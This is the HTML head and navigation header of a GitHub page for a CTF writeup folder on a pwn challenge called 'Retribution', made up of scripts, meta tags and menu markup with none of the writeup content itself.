src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-Writeups/Cyber_Apocalypse2022/pwn/Retribution at main · GonTanaka/CTF-Writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="ECB8:7C06:135CA59:13D850A:64121B37" data-pjax-transient="true"/><meta name="html-safe-nonce" content="fa82d89976d99a3420a128b518927a2d54cb437e3cff7942d3a8ba53a184adbf" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQ0I4OjdDMDY6MTM1Q0E1OToxM0Q4NTBBOjY0MTIxQjM3IiwidmlzaXRvcl9pZCI6IjYyNzQ4MzgwMTMwMDE0NzI4MjMiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="6b7f3c26d70feefa91cda6031de5fc5945f2a60bbf2143926110e3c203349ad2" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:437949506" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5076c5485b99dc8930ec5aceeb8c270f5192b99906f8dc16dcb8e4404c5e05da/GonTanaka/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/Cyber_Apocalypse2022/pwn/Retribution at main · GonTanaka/CTF-Writeups" /><meta name="twitter:description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/5076c5485b99dc8930ec5aceeb8c270f5192b99906f8dc16dcb8e4404c5e05da/GonTanaka/CTF-Writeups" /><meta property="og:image:alt" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/Cyber_Apocalypse2022/pwn/Retribution at main · GonTanaka/CTF-Writeups" /><meta property="og:url" content="https://github.com/GonTanaka/CTF-Writeups" /><meta property="og:description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="6ffaf5bc8a9e1bf3f935330f5a42569979e87256b13e29eade59f1bd367849db" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="ed6ef66a07203920b3d1b9ba62f82e7ebe14f0203cf59ccafb1926b52379fb59" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/GonTanaka/CTF-Writeups git https://github.com/GonTanaka/CTF-Writeups.git">
<meta name="octolytics-dimension-user_id" content="96073448" /><meta name="octolytics-dimension-user_login" content="GonTanaka" /><meta name="octolytics-dimension-repository_id" content="437949506" /><meta name="octolytics-dimension-repository_nwo" content="GonTanaka/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="437949506" /><meta name="octolytics-dimension-repository_network_root_nwo" content="GonTanaka/CTF-Writeups" />
<link rel="canonical" href="https://github.com/GonTanaka/CTF-Writeups/tree/main/Cyber_Apocalypse2022/pwn/Retribution" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
